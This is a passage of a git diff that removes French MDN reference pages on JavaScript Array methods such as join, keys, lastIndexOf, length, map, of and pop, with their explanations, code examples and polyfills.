Les différents éléments du tableau sont convertis en une chaîne de caractères puis fusionnés en une seule chaîne. Si un élément vaut undefined ou null, il sera converti en la chaîne vide. Cette fonction est générique et peut donc être utilisée avec les objets semblables aux tableaux.

- -

Exemples

- -

Fusionner un tableau de quatre façons différentes

- -

L'exemple suivant crée un tableau, a, avec trois éléments, puis joint le tableau à trois reprises : en utilisant le séparateur par défaut, une virgule et un espace, puis un plus, puis avec la chaîne vide.

- -
var a = new Array("Vent","Pluie","Feu");
-a.join();      // "Vent,Pluie,Feu"
-a.join(", ");  // "Vent, Pluie, Feu"
-a.join(" + "); // "Vent + Pluie + Feu"
-a.join("");    // "VentPluieFeu"
- -

Fusionner un objet semblable à un tableau

- -

Dans l'exemple suivant, on effectue la fusion sur un objet semblable à un tableau (arguments) en appelant {{jsxref("Function.prototype.call")}} sur Array.prototype.join.

- -
function f(a, b, c) {
-  var s = Array.prototype.join.call(arguments);
-  console.log(s);
-}
-f(1, 'a', true); // '1,a,true'
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.join")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.split()")}}
    • -
  • {{jsxref("Array.prototype.toString()")}}
    • -
  • {{jsxref("TypedArray.prototype.join()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/keys/index.html b/files/fr/web/javascript/reference/objets_globaux/array/keys/index.html deleted file mode 100644 index b9907b9340..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/keys/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Array.prototype.keys() -slug: Web/JavaScript/Reference/Objets_globaux/Array/keys -tags: - - Array - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys ---- -
{{JSRef}}
- -

La méthode keys() renvoie un nouvel objet Array Iterator qui contient les clefs pour chaque indice du tableau.

- -
{{EmbedInteractiveExample("pages/js/array-keys.html")}}
- - - -

Syntaxe

- -
arr.keys()
- -

Valeur de retour

- -

Un nouvel objet itérateur pour {{jsxref("Array")}}.

- -

Exemples

- -

Utilisation simple

- -
var arr = ["a","b","c"];
-var itérateur = arr.keys();
-
-console.log(itérateur.next()); // { value: 0, done: false }
-console.log(itérateur.next()); // { value: 1, done: false }
-console.log(itérateur.next()); // { value: 2, done: false }
-console.log(itérateur.next()); // { value: undefined, done: true }
-
- -

Un itérateur de clés prend en compte les trous

- -
var arr = ["a", , "c"];
-var clésCreuses = Object.keys(arr);
-var clésDenses = [...arr.keys()];
-console.log(clésCreuses); // ["0", "2"]
-console.log(clésDenses);  // [0, 1, 2]
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.keys")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/array/lastindexof/index.html b/files/fr/web/javascript/reference/objets_globaux/array/lastindexof/index.html deleted file mode 100644 index cc7d68a61a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/lastindexof/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: Array.prototype.lastIndexOf() -slug: Web/JavaScript/Reference/Objets_globaux/Array/lastIndexOf -tags: - - Array - - ECMAScript 5 - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf ---- -
{{JSRef}}
- -

La méthode lastIndexOf() permet de renvoyer le dernier indice pour lequel une valeur donnée est présente dans un tableau. Si la valeur recherchée n'est pas présente, le résultat sera -1. Lors de la recherche, le tableau est parcouru dans le sens des index décroissants, à partir de l'index indexDébut.

- -
{{EmbedInteractiveExample("pages/js/array-lastindexof.html")}}
- - - -

Syntaxe

- -
arr.lastIndexOf(élémentRecherché)
-arr.lastIndexOf(élémentRecherché, indexDébut)
-
- -

Paramètres

- -
-
élémentRecherché
-
L'élément à qu'on cherche dans le tableau.
-
indexDébut {{optional_inline}}
-
L'index à partir duquel commencer la recherche dans le tableau (la recherche s'effectuant à l'envers). Si le paramètre est absent, sa valeur par défaut sera la longueur du tableau moins 1 (c'est-à-dire arr.length - 1), le tableau sera alors parcouru dans sa totalité. Si l'index est plus grand ou égal à la longueur du tableau, le tableau sera parcouru en entier. Si l'index est négatif, la recherche commencera d'autant d'éléments à partir de la fin du tableau. À noter que, même si l'index est négatif, la recherche s'effectuera toujours de la fin jusqu'au début du tableau. Si l'index calculé est inférieur à 0, la méthode renverra -1 et le tableau ne sera pas parcouru.
-
- -

Valeur de retour

- -

Le dernier index auquel on trouve la valeur dans le tableau, -1 si elle n'est pas trouvée.

- -

Description

- -

lastIndexOf compare élémentRecherché aux éléments contenus dans le tableau en utilisant une égalité stricte (l'égalité utilisée par l'opérateur ===).

- -

Exemples

- -

Utiliser lastIndexOf

- -

Dans l'exemple suivant, on utilise lastIndexOf afin de situer une valeur dans un tableau.

- -
var tableau = [2, 5, 9, 2];
-tableau.lastIndexOf(2);     // 3
-tableau.lastIndexOf(7);     // -1
-tableau.lastIndexOf(2, 3);  // 3
-tableau.lastIndexOf(2, 2);  // 0
-tableau.lastIndexOf(2, -2); // 0
-tableau.lastIndexOf(2, -1); // 3
- -

Trouver toutes les occurrences d'un élément

- -

L’exemple suivant utilise lastIndexOf pour trouver tous les index (indices) d’un élément dans un tableau donné, en utilisant {{jsxref("Array.prototype.push", "push")}} pour les ajouter dans un autre tableau quand ils sont trouvés.

- -
var indices = [];
-var tableau = ['a', 'b', 'a', 'c', 'a', 'd'];
-var élément = 'a';
-var idx = tableau.lastIndexOf(élément);
-while (idx !== -1) {
-  indices.push(idx);
-  idx = (idx > 0 ? tableau.lastIndexOf(élément, idx - 1) : -1);
-}
-
-console.log(indices);
-// [4, 2, 0]
- -

Remarquez que nous avons dû traiter le cas de idx === 0 séparément (idx > 0) parce que l’élément sera toujours trouvé, indépendamment du paramètre de fromIndex, si c’est le premier élément du tableau. C’est une différence avec la méthode {{jsxref("Array.prototype.indexOf", "indexOf")}}.

- - -

Prothèse d'émulation (polyfill)

- -

lastIndexOf a été ajouté avec la cinquième édition du standard ECMA-262 ; il peut donc ne pas être présent dans tous les navigateurs web. Vous pouvez contourner ce problème en insérant le code suivant au début de vos scripts. Il vous permettra d'utiliser lastIndexOf avec les navigateurs qui ne le supportent pas nativement. L'algorithme qui suit est le même que celui spécifié par ECMAScript 5 si {{jsxref("Object", "Object")}}, {{jsxref("TypeError", "TypeError")}}, {{jsxref("Number", "Number")}}, {{jsxref("Math.floor")}}, {{jsxref("Math.abs")}}, et {{jsxref("Math.min")}} n'ont pas été modifiés et conservent leurs valeurs originales.

- -
// Production steps of ECMA-262, Edition 5, 15.4.4.15
-// Reference: http://es5.github.io/#x15.4.4.15
-if (!Array.prototype.lastIndexOf) {
-  Array.prototype.lastIndexOf = function(searchElement /*, fromIndex*/) {
-    'use strict';
-
-    if (this === void 0 || this === null) {
-      throw new TypeError();
-    }
-
-    var n, k,
-      t = Object(this),
-      len = t.length >>> 0;
-    if (len === 0) {
-      return -1;
-    }
-
-    n = len - 1;
-    if (arguments.length > 1) {
-      n = Number(arguments[1]);
-      if (n != n) {
-        n = 0;
-      }
-      else if (n != 0 && n != (1 / 0) && n != -(1 / 0)) {
-        n = (n > 0 || -1) * Math.floor(Math.abs(n));
-      }
-    }
-
-    for (k = n >= 0 ? Math.min(n, len - 1) : len - Math.abs(n); k >= 0; k--) {
-      if (k in t && t[k] === searchElement) {
-        return k;
-      }
-    }
-    return -1;
-  };
-}
- -

On notera que cette implémentation vise une compatibilité absolue de lastIndexOf dans Firefox et le moteur JavaScript SpiderMonkey, incluant plusieurs cas très particuliers. Si vous comptez l'utiliser dans une application, vous devriez pouvoir calculer from avec un code beaucoup moins compliqué.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.15', 'Array.prototype.lastIndexOf')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.lastIndexOf")}}

-
- -

Notes de compatibilité

- -
    -
  • À partir de Firefox 47 ({{geckoRelease(47)}}), cette méthode ne renverra plus -0. Ainsi, [0].lastIndexOf(0, -0) renverra toujours +0 (cf. {{bug(1242043)}}).
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.indexOf()")}}
    • -
  • {{jsxref("TypedArray.prototype.lastIndexOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/length/index.html b/files/fr/web/javascript/reference/objets_globaux/array/length/index.html deleted file mode 100644 index b586607721..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/length/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Array.prototype.length -slug: Web/JavaScript/Reference/Objets_globaux/Array/length -tags: - - Array - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/length ---- -
{{JSRef}}
- -

La propriété length (longueur) est un entier non-signé de 32 bits qui indique le nombre d'éléments présents dans le tableau. Elle est toujours supérieure au plus grand indice du tableau.

- -
{{EmbedInteractiveExample("pages/js/array-length.html")}}
- - - -

Description

- -

La valeur de la propriété length est un entier de signe positif dont la valeur est inférieure à 2 à la puissance 32 (232).

- -
var tableauA = new Array(4294967296); // 2 à la puissance 32 = 4294967296
-var tableauC = new Array(-100) // une valeur négative
-
-console.log(tableauA.length); // RangeError: Invalid array length
-console.log(tableauC.length); // RangeError: Invalid array length
-
-var tableauB = [];
-tableauB.length = Math.pow(2,32)-1; // On déclare une longueur inférieure à 2 puissance 32
-console.log(tableauB.length); // 4294967295
-
- -

Vous pouvez modifier la propriété length d'un tableau à loisir pour le tronquer. Quand vous étendez un tableau en modifiant la valeur de sa propriété length, le nombre d'éléments réellement présents dans ce tableau n'augmente pas : par exemple, si vous affectez la valeur 3 à la propriété length d'un tableau alors qu'elle vaut 2, le tableau contiendra toujours seulement 2 éléments. La troisième « case » ne sera pas itérable. De ce fait, la propriété length d'un tableau ne renseigne en rien sur le nombre de valeurs définies dans le tableau. Voir aussi la relation entre longueur et propriétés numériques.

- -
const arr = [1, 2, 3];
-console.table(arr);
-// [1, 2]
-
-arr.length = 5; // On définit une longueur à 5
-console.table(arr);
-// [1, 2, <3 éléments vides>]
-
-arr.forEach(element => console.log(element));
-// 1
-// 2
-
- -

{{js_property_attributes(1,0,0)}}

- -

Exemples

- -

Renvoyer la longueur d'un tableau

- -
var items = ["chaise", "bureau", "table", "sac"];
-items.length; // 4
-
- -

Parcourir un tableau

- -

Dans l'exemple suivant, on itère sur le tableau nombres en utilisant la propriété length afin de connaître son nombre d'élément. La valeur de chaque élément est ensuite multipliée par deux :

- -
var nombres = [1,2,3,4,5];
-
-for (var i = 0; i < nombres.length; i++) {
-  nombres[i] *= 2;
-}
-// nombres vaut maintenant [2,4,6,8,10];
-
- -

Tronquer un tableau

- -

L'exemple suivant raccourcit le tableau etatsUS à 50 si sa longueur actuelle est supérieure à 50.

- -
if (etatsUS.length > 50) {
-   etatsUS.length = 50;
-}
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.length")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/map/index.html b/files/fr/web/javascript/reference/objets_globaux/array/map/index.html deleted file mode 100644 index 2cdabaddba..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/map/index.html +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: Array.prototype.map() -slug: Web/JavaScript/Reference/Objets_globaux/Array/map -tags: - - Array - - ECMAScript 5 - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/map ---- -
{{JSRef}}
- -

La méthode map() crée un nouveau tableau avec les résultats de l'appel d'une fonction fournie sur chaque élément du tableau appelant.

- -
{{EmbedInteractiveExample("pages/js/array-map.html")}}
- - - -

Syntaxe

- -
var nouveauTableau = arr.map(callback [, thisArg])
- -

Paramètres

- -
-
callback
-
La fonction qui est utilisée pour créer un élément du nouveau tableau. Elle utilise trois arguments : -
-
valeurCourante
-
La valeur de l'élément du tableau à traiter.
-
index{{optional_inline}}
-
L'index de l'élément qui est traité par la fonction.
-
tableau{{optional_inline}}
-
Le tableau sur lequel on a appelé la méthode map.
-
-
-
thisArg {{optional_inline}}
-
La valeur à utiliser pour this lors de l'exécution de callback. La valeur par défaut est l'objet global de l'environnement (Window pour un navigateur).
-
- -

Valeur de retour

- -

Un nouveau tableau composé des images de la fonction de rappel.

- -

Description

- -

Lorsqu'on utilise map, la fonction callback fournie en argument est exécutée une fois pour chacun des éléments du tableau, dans l'ordre du tableau. Chaque résultat de l'opération sur un élément sera un élément du nouveau tableau. La fonction callback est appelée uniquement pour les indices du tableau pour lesquels il y a des valeurs affectées (y compris si cette valeur est {{jsxref("undefined")}}). Si les valeurs ont été supprimées ou qu'elles n'ont jamais été initialisées, la fonction ne sera pas appelée.

- -

callback est appelée avec trois arguments : la valeur de l'élément du tableau, l'index de cet élément et l'objet {{jsxref("Array")}} qui est parcouru.

- -
-

Attention ! map() construit un nouveau tableau. Si on utilise cette méthode sans utiliser le résultat, mieux vaudra utiliser forEach ou for...of.  Pour mieux décider si map()est adéquat, regardez si vous utilisez la valeur de retour et/ou si vous renvoyez une valeur avec la fonction callback : si ce n'est pas le cas, il ne faut pas utiliser map().

-
- -

Si le paramètre thisArg est utilisé, il sera utilisé en tant que this par la fonction callback lorsqu'elle sera appelée. S'il n'est pas utilisé, ce sera la valeur {{jsxref("undefined")}} qui sera utilisée pour définir this. La valeur this finalement prise en compte par la fonction callback est définie selon les règles usuelles qui déterminent la valeur this observée par une fonction.

- -

map ne modifie pas le tableau sur lequel elle est appelée (bien que la fonction callback, si elle est appelée, puisse modifier le tableau).

- -

La liste des éléments à traiter lors de l'opération map est définie avant le premier appel à callback. Les éléments qui sont ajoutés au tableau après que l'appel à map ait été initié ne seront pas traités par la fonction callback. Si des éléments ont été modifiés, la valeur utilisée par la fonction callback sera celle au moment où map est utilisée. Les éléments qui sont supprimés ne sont pas traités. De la même façon, si on applique map sur un tableau dont certains éléments sont indéfinis, le résultat possèdera également les mêmes éléments indéfinis.

- -

Exemples

- -

Créer un tableau des racines carrées d'un tableau de nombre

- -

Dans l'exemple suivant, on crée un tableau composé des racines carrées des éléments d'un premier tableau :

- -
var nombres = [1, 4, 9];
-var racines = nombres.map(Math.sqrt);
-// racines vaut désormais [1, 2, 3]
-// nombres vaut toujours [1, 4, 9]
-
- -

Créer un tableau de nombres avec une fonction à un argument

- -

Ici, on illustre le fonctionnement de map avec une fonction à un argument. Cet argument sera automatiquement remplacé par chaque élément du tableau au fur et à mesure que map parcourt le tableau :

- -
var nombres = [1, 4, 9];
-var doubles = nombres.map(function(num) {
-  return num * 2;
-});
-// doubles vaut désormais [2, 8, 18].
-// nombres vaut toujours [1, 4, 9]
-
- -

Utiliser map pour changer le format d'objets dans un tableau

- -

Dans le code qui suit, on utilise un tableau d'objets pour créer un autre tableau contenant de nouveaux objets dans un autre format :

- -
var tableauOrig = [{clé:1, valeur:10}, {clé:2, valeur:20}, {clé:3, valeur: 30}];
-var tableauFormaté = tableauOrig.map(obj => {
-  var rObj = {};
-  rObj[obj.clé] = obj.valeur;
-  return rObj;
-});
-// tableauFormaté vaut maintenant [{1:10}, {2:20}, {3:30}],
-// tableauOrig vaut toujours
-// [{clé:1, valeur:10},
-//  {clé:2, valeur:20},
-//  {clé:3, valeur: 30}
-// ]
-
- -

Utiliser map de façon générique

- -

Dans cet exemple, on voit comment utiliser la fonction map sur une chaîne de caractères pour obtenir un tableau contenant les codes ASCII des valeurs encodées :

- -
var map = Array.prototype.map;
-var a = map.call('Hello World', function(x) { return x.charCodeAt(0); });
-// a vaut désormais [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
-
- -

Utiliser map avec querySelectorAll

- -

Dans cet exemple, on illustre comment utiliser la méthode map de façon générique, sur un tableau d'objets collectés grâce à querySelectorAll :

- -
var elems = document.querySelectorAll('select option:checked');
-var values = Array.prototype.map.call(elems, function(obj) {
-  return obj.value;
-});
-
- -

On aurait également pu utiliser la méthode {{jsxref("Array.from()")}} qui permet de produire un tableau à partir d'un objet itérable.

- -

Un résultat inattendu

- -

Exemple inspiré par ce billet (en anglais)

- -

Il est fréquent d'utiliser la fonction callback avec un seul argument (l'élément en cours). Certaines fonctions natives sont également souvent appelées avec un unique argument même si elles peuvent prendre en compte plusieurs arguments. En combinant ces deux « habitudes », on peut obtenir certains résultats inattendus :

- -
// Si on utilise :
-['1', '2', '3'].map(parseInt);
-// On s'attend à obtenir [1, 2, 3]
-// Le résultat qu'on obtient est en fait [1, NaN, NaN]
-
-// parseInt est souvent utilisé avec un argument mais il
-// peut être utilisé avec deux arguments
-// Le premier correspond à l'expression à parser et le second
-// à la base dans laquelle convertir
-// Array.prototype.map passe 3 arguments à callback :
-// l'élément, l'index et le tableau
-// Le troisième argument sera ignoré par parseInt mais pas le
-// deuxième, ce qui donnera ce résultat étrange
-
-function returnInt(element) {
-  return parseInt(element, 10);
-}
-
-['1', '2', '3'].map(returnInt); // [1, 2, 3]
-// Le résultat qu'on obtient avec la fonction auxiliaire
-
-['1', '2', '3'].map(parseInt);  // [1, NaN, NaN]
-// car map passe trois argument à la fonction et que parseInt
-// considère le second argument comme base.
-// En détails :
-// Premier élément :   "1" à l'indice 0 : parseInt("1",0); donne 1
-// Deuxième élément :  "2" à l'indice 1 : parseInt("2",1); donne NaN
-// Troisième élément : "3" à l'indice 2 : parseInt("3",2); donne NaN
-
-
-// Formulation équivalente plus concise avec
-// une fonction fléchée
-['1', '2', '3'].map( str => parseInt(str));
-
-// Une autre méthode, plus simple
-['1', '2', '3'].map(Number); // [1, 2, 3]
-// à la différence de parseInt, cela fonctionnera pour les
-// nombres décimaux ou en notation exponentielle
-['1.1', '2.2e2', '3e300'].map(Number); // [1.1, 220, 3e+300]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.19', 'Array.prototype.map')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.map', 'Array.prototype.map')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.map")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • L'objet {{jsxref("Map")}}
    • -
  • {{jsxref("Array.from()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/of/index.html b/files/fr/web/javascript/reference/objets_globaux/array/of/index.html deleted file mode 100644 index ffd20e3bf1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/of/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Array.of() -slug: Web/JavaScript/Reference/Objets_globaux/Array/of -tags: - - Array - - ECMAScript 2015 - - JavaScript - - Méthode - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/of ---- -
{{JSRef}}
- -

La methode Array.of() permet de créer une nouvelle instance d'objet Array à partir d'un nombre variable d'arguments, quels que soient leur nombre ou leur type.

- -

La différence entre Array.of() et le constructeur Array se situe dans la gestion de d'arguments entiers : Array.of(7) crée un tableau avec un seul élément, 7, tandis que Array(7) produit un tableau avec 7 éléments vides (à ne pas confondre avec des éléments qui auraient explicitement la valeur undefined).

- -
Array.of(7);       // [7]
-Array.of(1, 2, 3); // [1, 2, 3]
-
-Array(7);          // un tableau avec 7 emplacements vides
-Array(1, 2, 3);    // [1, 2, 3]
-
- -

Syntaxe

- -
Array.of(element0[, element1[, ...[, elementN]]])
-
- -

Paramètres

- -
-
element0, element1, ..., elementN
-
Les éléments avec lesquels on souhaite construire le nouveau tableau.
-
- -

Valeur de retour

- -

Une nouvelle instance de {{jsxref("Array")}}.

- -

Description

- -

Cette fonction fait partie du standard ECMAScript 2015. Pour plus d'informations, voir les pages sur la proposition pour Array.of et Array.from ainsi que la page sur le fragment d'émulation pour Array.of.

- -
Array.of(7);       // [7]
-Array.of(1, 2, 3); // [1, 2, 3]
-
-Array(7);          // [ , , , , , , ]
-Array(1, 2, 3);    // [1, 2, 3]
-
- -

Exemples

- -
Array.of(1);         // [1]
-Array.of(1, 2, 3);   // [1, 2, 3]
-Array.of(undefined); // [undefined]
-
- -

Prothèse d'émulation (polyfill)

- -

Exécuter ce code avant tout autre code permettra de créer la méthode Array.of() si elle n'est pas prise en charge nativement.

- -
if (!Array.of) {
-  Array.of = function() {
-    return Array.prototype.slice.call(arguments);
-  };
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.of")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array", "Array")}}
    • -
  • {{jsxref("Array/from", "Array.from")}}
    • -
  • {{jsxref("TypedArray.of()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/pop/index.html b/files/fr/web/javascript/reference/objets_globaux/array/pop/index.html deleted file mode 100644 index 7d06b9f5f7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/pop/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Array.prototype.pop() -slug: Web/JavaScript/Reference/Objets_globaux/Array/pop -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop ---- -
{{JSRef}}
- -

La méthode pop() supprime le dernier élément d'un tableau et retourne cet élément. Cette méthode modifie la longueur du tableau.

- -
{{EmbedInteractiveExample("pages/js/array-pop.html")}}
- - - -

Syntaxe

- -
arr.pop()
- -

Valeur de retour

- -

L'élément qui a été retiré du tableau. Si le tableau est vide, elle renvoie {{jsxref("undefined")}}.

- -

Description

- -

La méthode pop() supprime le dernier élément d'un tableau et retourne cette valeur.

- -

pop() est volontairement générique ; cette méthode peut être {{jsxref("Function.call", "appelée")}} ou {{jsxref("Function.apply", "appliquée")}} pour des objets ressemblant à des tableaux. Les objets qui ne contiennent pas une propriété length reflétant la fin d'une série de propriétés consécutives numérotées peuvent se comporter bizarrement.

- -

Si vous appelez pop() sur un tableau vide, il renverra la valeur {{jsxref("undefined")}}.

- -
-

Note : La méthode {{jsxref("Array.prototype.shift()")}} possède un comportement analogue mais retire le premier élément du tableau.

-
- -

Exemples

- -

Supprimer le dernier élément d'un tableau

- -

Le code suivant crée le tableau mesPoissons qui contient quatre éléments puis supprime le dernier élément.

- -
var mesPoissons = ["angel", "clown", "mandarin", "sturgeon"];
-
-var popped = mesPoissons.pop();
-
-console.table(mesPoissons); // angel, clown, madarin
-console.log(popped);        // sturgeon
- -

Utiliser apply() ou call() sur les objets semblables aux tableaux

- -

Le code suivant crée un objet mesPoissons semblable à un tableau, qui contient 4 propriétés indexées avec des nombres et une propriété length. On utilise la méthode {{jsxref("Function.call()")}} pour invoquer pop() sur cet objet :

- -
var mesPoissons = {0: 'angel', 1: 'clown', 2: 'mandarin', 3: 'sturgeon', length: 4};
-
-var popped = Array.prototype.pop.call(mesPoissons); // on aurait pu utiliser apply()
-console.log(mesPoissons); // {0: 'angel', 1: 'clown', 2: 'mandarin', length: 3}
-console.log(popped);      // 'sturgeon'
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.pop")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.push()")}}
    • -
  • {{jsxref("Array.prototype.shift()")}}
    • -
  • {{jsxref("Array.prototype.unshift()")}}
    • -
  • {{jsxref("Array.prototype.splice()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/array/prototype/index.html deleted file mode 100644 index cb423c22f3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/prototype/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Array.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Array/prototype -tags: - - Array - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype ---- -
{{JSRef}}
- -

La propriété Array.prototype représente le prototype du constructeur {{jsxref("Array")}} et permet d'ajouter de nouvelles propriétés à l'ensemble des objets Array.

- -

Description

- -

Les instances d'Array héritent de Array.prototype. Comme pour tous les constructeurs, vous pouvez changer l'objet prototype du constructeur afin de modifier toutes les instances d'Array. On peut utiliser cette méthode afin de réaliser des prothèses/polyfills.

- -

Toutefois, si on utilise le prototype pour ajouter des méthodes ou propriétés non-standards à Array, cela peut entraîner certains problèmes au sein de votre code ou lors de l'ajout de fonctionnalités à JavaScript.

- -

Fait peu connu : Array.prototype est lui-même un objet {{jsxref("Array")}} :

- -
Array.isArray(Array.prototype); // true
- -

{{js_property_attributes(0,0,0)}}

- -

Propriétés

- -
-
Array.prototype.constructor
-
Cette propriété définit la fonction qui crée le prototype d'un objet.
-
{{jsxref("Array.prototype.length")}}
-
Cette propriété renvoie le nombre d'éléments d'un tableau.
-
{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}
-
Un symbole contenant les noms des propriétés à exclure lors d'une liaison effectuée avec with.
-
- -

Méthodes

- -

Mutateurs

- -

Ces méthodes modifient le tableau :

- -
-
{{jsxref("Array.prototype.copyWithin()")}}
-
Cette méthode copie une série d'éléments de tableau dans le tableau.
-
{{jsxref("Array.prototype.fill()")}}
-
Cette méthode remplie tous les éléments d'un tableau avec une même valeur, éventuellement entre un indice de début et un indice de fin.
-
- -
-
{{jsxref("Array.prototype.pop()")}}
-
Cette méthode supprime le dernier élément d'un tableau et retourne cet élément.
-
{{jsxref("Array.prototype.push()")}}
-
Cette méthode ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la nouvelle longueur du tableau.
-
{{jsxref("Array.prototype.reverse()")}}
-
Cette méthode renverse l'ordre des éléments d'un tableau - le premier élément devient le dernier, et le dernier devient le premier. Le tableau est modifié par cette méthode.
-
{{jsxref("Array.prototype.shift()")}}
-
Cette méthode supprime le premier élément d'un tableau et retourne cet élément.
-
{{jsxref("Array.prototype.sort()")}}
-
Cette méthode trie en place les éléments d'un tableau et retourne le tableau.
-
{{jsxref("Array.prototype.splice()")}}
-
Cette méthode permet d'ajouter ou de retirer des éléments d'un tableau.
-
{{jsxref("Array.prototype.unshift()")}}
-
Cette méthode permet d'ajouter un ou plusieurs éléments au début d'un tableau et renvoie la nouvelle longueur du tableau.
-
- -

Accesseurs

- -

Ces méthodes ne modifient pas l'état du tableau et en retournent une représentation.

- -
-
{{jsxref("Array.prototype.concat()")}}
-
Cette méthode renvoie un nouveau tableau constitué de ce tableau concaténé avec un ou plusieurs autre(s) tableau(x) et/ou valeur(s).
-
{{jsxref("Array.prototype.includes()")}}
-
Cette méthode détermine si le tableau contient ou non un certain élément. Elle renvoie true ou false selon le cas de figure.
-
{{jsxref("Array.prototype.indexOf()")}}
-
